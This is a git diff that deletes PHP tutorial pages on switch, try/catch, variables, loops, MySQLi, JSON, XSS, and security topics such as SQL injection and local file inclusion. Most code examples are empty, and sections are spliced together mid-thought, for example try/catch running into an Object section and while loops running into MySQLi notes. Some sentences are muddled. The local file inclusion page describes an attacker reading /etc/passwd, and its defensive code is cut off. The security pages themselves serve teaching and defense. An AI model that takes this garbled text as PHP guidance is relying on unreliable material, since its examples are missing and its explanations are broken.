-$_FILES
-$_COOKIE
-$_SESSION
-$_REQUEST
-$_ENV
-
-They all have their use cases, but mostly to beginners _$_GET_ and _$_POST_ are the most used. **$_GET**_ Pulls data from the url, while **$_POST**_ pulls data from the post request. Both of these are arrays. **$_REQUEST**_ is a collection of GET and POST.
-
-#### More Information:
-
diff --git a/mock-guide/english/php/switch/index.md b/mock-guide/english/php/switch/index.md
deleted file mode 100644
index 629d29965c..0000000000
--- a/mock-guide/english/php/switch/index.md
+++ /dev/null
@@ -1,155 +0,0 @@
----
-title: Switch
----
-## Switch
-In PHP, the `Switch` statement is very similar to the Javascript `Switch` statement (See the Javascript Switch Guide to compare and contrast). It allows rapid case testing with a lot of different possible conditions, the code is also more readable.
-
-### Syntax
-```php
-
-
-```
-
-## Output
-```
-if case is 1
-> Dice show number One.
-
-if case is 2
-> Dice show number Two.
-
-if case is 3
-> Dice show number Three or Four.
-
-if case is 4
-> Dice show number Three or Four.
-
-if case is 5
-> FiveSixDice show number Six.
-
-if case is 6
-> SixDice show number Six.
-
-if none of the above
-> Dice show number unknown.
-```
-
-#### More Information:
-* [php.net docs Switch](https://secure.php.net/manual/en/control-structures.switch.php")
diff --git a/mock-guide/english/php/try-catch/index.md b/mock-guide/english/php/try-catch/index.md
deleted file mode 100644
index 5cc917777f..0000000000
--- a/mock-guide/english/php/try-catch/index.md
+++ /dev/null
@@ -1,56 +0,0 @@
----
-title: try catch
----
-
-## Try Catch in PHP
-
-When working in PHP, it is considered good practice to utilize error handling within your code. This allows you to return error messages, rather than crashing returning nothing, or worse, crashing your application. There are many ways to utilize Exceptions in PHP, but a common one is the Try Catch block.
-
-
-## Syntax
-
-The syntax for a try catch starts with a try statement, followed by code to be executed, which is then followed by a catch statement with some form of error handling.
-
-```
-
-```
-
-Output:
-NULL
-
-
-## Object
-
-An object is a data type which stores data and information on how to process that data.
-In PHP, an object must be explicitly declared.
-First we must declare a class of object. A class is a structure that can contain properties and methods.
-
-**Example:**
-```php
-model = "VW";
- }
-}
-
-// create an object
-$herbie = new Car();
-
-// show object properties
-echo $herbie->model;
-?>
-```
-
-You can also use a predefined generic empty class `stdClass`. It's usefull for anonymous objects, dynamic properties or casting other types to object.
diff --git a/mock-guide/english/php/variables/index.md b/mock-guide/english/php/variables/index.md
deleted file mode 100644
index 57262e2146..0000000000
--- a/mock-guide/english/php/variables/index.md
+++ /dev/null
@@ -1,100 +0,0 @@
----
-title: Variables
----
-
-## Variables
-# Creating (Declaring) PHP Variables
-
-Variables are "containers" for storing information. They are the main way to store information in a PHP program.
-
-All variables in PHP are denoted with a leading dollar sign like "$variable_name".
-Variables are assigned with the "=" operator, with the variable on the left-hand side and the expression to be evaluated on the right.
-
-**Syntax:**
-
-```php
-
-```
-
-##### Note: Using quotes or not using quotes will change the type of variable created. [Read more](https://guide.freecodecamp.org/php/data-types) about variable and data types.
-
-##### Note: Unlike other programming languages, PHP has no command for declaring a variable. It is created the moment you first assign a value to it.
-
-# Rules for PHP variables:
-
-* A variable starts with the $ sign, followed by the name of the variable
-* A variable name must start with a letter or the underscore character
-* A variable name cannot start with a number
-* A variable name can only contain alpha-numeric characters and underscores (A-z, 0-9, and _ ) You cannot use characters like `+ , - , % , ( , ) . &` in its name.
-* Variable names are case-sensitive ($age and $AGE are two different variables)
-
-Some examples of allowed variable names:
-
-* $my_variable
-* $anotherVariable
-* $the2ndVariable
-
-# Predefined Variables
-
-PHP has several special keywords that while are "valid" variable names, cannot be used for your variables. The reason for this is that the language itself has already defined those variables and they have are used for special purposes. Several examples are listed below, for a complete list see the [PHP documentation site](https://secure.php.net/manual/en/language.variables.predefined.php).
-- `$this`
-- `$_GET`
-- `$_POST`
-- `$_SERVER`
-- `$_FILES`
-
-# Output Variables
-
-The PHP echo statement is often used to output data to the screen.
-
-The following example will show how to output text and a variable:
-````php
-
-````
-
-The following example will produce the same output as the example above:
-````php
-
-````
-
-The following example will output the sum of two variables:
-````php
-
-````
-
-# PHP is a Loosely Typed Language
-
-In the example above, notice that we did not have to tell PHP which data type the variable is.
-PHP automatically converts the variable to the correct data type, depending on its value.
-In other languages such as C, C++, and Java, the programmer must declare the name and type of the variable before using it.
-
-# Variable lifecycle
-
-In PHP variables have a default value. If a variable is not declared before you attempt to use it, its value will be NULL. It is unset. So you can't use it by writing "isset($variable)" before using it.
-
-#### More Information:
-
-For even more information check out these resources:
-- [PHP Variable Documentation](http://php.net/manual/en/language.variables.php)
-- [W3Schools PHP Variables](https://www.w3schools.com/php/php_variables.asp)
-- [PHP Data Types](https://guide.freecodecamp.org/php/data-types)
-Learn about the different types of variables you can create: [Data Types](https://guide.freecodecamp.org/php/variables/data-types)
-
-
diff --git a/mock-guide/english/php/while/index.md b/mock-guide/english/php/while/index.md
deleted file mode 100644
index 102bd1bf09..0000000000
--- a/mock-guide/english/php/while/index.md
+++ /dev/null
@@ -1,36 +0,0 @@
----
-title: While Loop
----
-
-## While Loop
-A `while` loop executes statements within the loop as long as the loops condition is met.
-
-### Syntax:
-```php
-Help our community expand it.
-
-This quick style guide will help ensure your pull request gets accepted.
-
-
-MYSQLi functions allow access to the database.
-MYSQLi is an improved version of MYSQL
-
-#### Some Important MYSQLi functions and their uses:
-mysqli_connect() ==> Opens a new connection to the MySQL server
-mysqli_query() ==> Performs a query against the database
-mysqli_error() ==> Returns the last error description for the most recent function call
-mysqli_close() ==> Closes a previously opened database connection
-mysqli_connect_error() ==> Returns the error description from the last connection error
-mysqli_select_db() ==> Changes the default database for the connection
-mysqli_fetch_assoc() ==> Fetches a result row as an associative array
-
-
-#### More Information:
-
-Click here For more information about MYSQLi
diff --git a/mock-guide/english/php/working-with-json-apis/index.md b/mock-guide/english/php/working-with-json-apis/index.md
deleted file mode 100644
index 4e14ef47ca..0000000000
--- a/mock-guide/english/php/working-with-json-apis/index.md
+++ /dev/null
@@ -1,52 +0,0 @@
----
-title: Working With JSON APIs
----
-## Working With JSON APIs
-
-A common use of JSON is to read data from a web server, and display the data in a web page.
-
-This chapter will teach you how to exchange JSON data between the client and a PHP server.
-
-### The PHP File
-
-PHP has some built-in functions to handle JSON.
-
-Objects in PHP can be converted into JSON by using the PHP function `json_encode()`:
-```php
-name = "John";
-$myObj->age = 30;
-$myObj->city = "New York";
-
-$myJSON = json_encode($myObj);
-
-echo $myJSON;
-?>
-```
-[Try it](https://www.w3schools.com/js/showphp.asp?filename=demo_file)
-
-### The Client JavaScript
-
-Here is a JavaScript on the client, using an AJAX call to request the PHP file from the example above:
-
-#### Example
-
-Use JSON.parse() to convert the result into a JavaScript object:
-
-```js
-var xmlhttp = new XMLHttpRequest();
-xmlhttp.onreadystatechange = function() {
- if (this.readyState == 4 && this.status == 200) {
- var myObj = JSON.parse(this.responseText);
- document.getElementById("demo").innerHTML = myObj.name;
- }
-};
-xmlhttp.open("GET", "demo_file.php", true);
-xmlhttp.send();
-```
-
-[Try it](https://www.w3schools.com/js/tryit.asp?filename=tryjson_php_simple)
-
-### More Information:
-
-- For more [check this link](https://www.w3schools.com/js/js_json_php.asp)
diff --git a/mock-guide/english/php/xml/index.md b/mock-guide/english/php/xml/index.md
deleted file mode 100644
index 5445ccdf40..0000000000
--- a/mock-guide/english/php/xml/index.md
+++ /dev/null
@@ -1,13 +0,0 @@
----
-title: XML
----
-## XML
-
-This is a stub. Help our community expand it.
-
-This quick style guide will help ensure your pull request gets accepted.
-
-
-
-#### More Information:
-
";
-echo strip_tags($usercomment, $allowedtags);
-```
-
-**Setting the X-XSS-Protection Header:**
-
-In PHP you can send the `X-XSS-Protection` Header which will tell browsers to check for a reflected Cross Site Scripting attack and block the page from loading. This does not prevent all cross site scripting attacks only reflected ones and should be used in combination with other methods.
-```PHP
-
-```
-
-#### More Information:
-* OWASP Wiki - Cross Site Scripting
-* php.net strip_tags() manual
-* php.net htmlspecialchars() manual
-* MDN - Content Security Policy (CSP)
diff --git a/mock-guide/english/php/security/index.md b/mock-guide/english/php/security/index.md
deleted file mode 100644
index 5d55219a7e..0000000000
--- a/mock-guide/english/php/security/index.md
+++ /dev/null
@@ -1,18 +0,0 @@
----
-title: Security
----
-## Security
-
-When writing PHP code it is very important to get security concepts in mind to avoid writing vulnerable code.
-
-### Types Of Vulnerabilities
-* Cross Site Request Forgery A vulnerability in the application caused by the programmer not checking where a request was sent from - this attack is sent to a high privilege level user to gain higher level access to the application.
-* Cross Site Scripting A vulnerability in the application caused by the programmer not sanitizing input before outputting the input to the browser (for example a comment on a blog). It is commonly used to run malicious javascript in the browser to do attacks such as stealing session cookies among other malicious actions to gain higher level privileges in the application.
-* Local File Inclusion A vulnerability in the application caused by the programmer requiring a file input provided by the user and not sanitizing the input before accessing the requested file. This results in a file being included where it should not of been.
-* Remote File Inclusion A vulnerability in the application caused by the programmer requiring a file input provided by the user and not sanitizing the input before accessing the requested file. This results in a file being pulled from a remote server and included where it should not of been.
-* Session Hijacking A vulnerability caused by an attacker gaining access to a user's session identifier and being able to use another user's account impersonating them. This is often used to gain access to an administrative user's account.
-* Session Identifier Acquirement Session Identifier Acquirement is a vulnerability caused by an attacker being able to either guess the session identifier of a user or exploit vulnerabilities in the application itself or the user's browser to obtain a session identifier.
-* SQL Injection A vulnerability in the application caused by the programmer not sanitizing input before including it into a query into the database. This leads to the attacker having full read and more often than not write access to the database. With this type of access an attacker can do very bad things.
-
-#### More Information:
-OWASP Wiki's Attacks Page
diff --git a/mock-guide/english/php/security/local-file-inclusion/index.md b/mock-guide/english/php/security/local-file-inclusion/index.md
deleted file mode 100644
index 373d6b5553..0000000000
--- a/mock-guide/english/php/security/local-file-inclusion/index.md
+++ /dev/null
@@ -1,19 +0,0 @@
----
-title: Local File Inclusion
----
-## Local File Inclusion
-
-A vulnerability in the application caused by the programmer requiring a file input provided by the user and not sanitizing the input before accessing the requested file. This results in a file being included where it should not of been.
-
-### Example local file inclusion attacks
-A website allows you to view PDFs as `download.php?file=myfile.php`, due to a lack of proper checking a malicious user is able to request /etc/passwd and get sensitive configuration information from the web server.
-
-### Defending your website from local file inclusion attacks in PHP
-```PHP
-OWASP Wiki - Testing for Local File Inclusion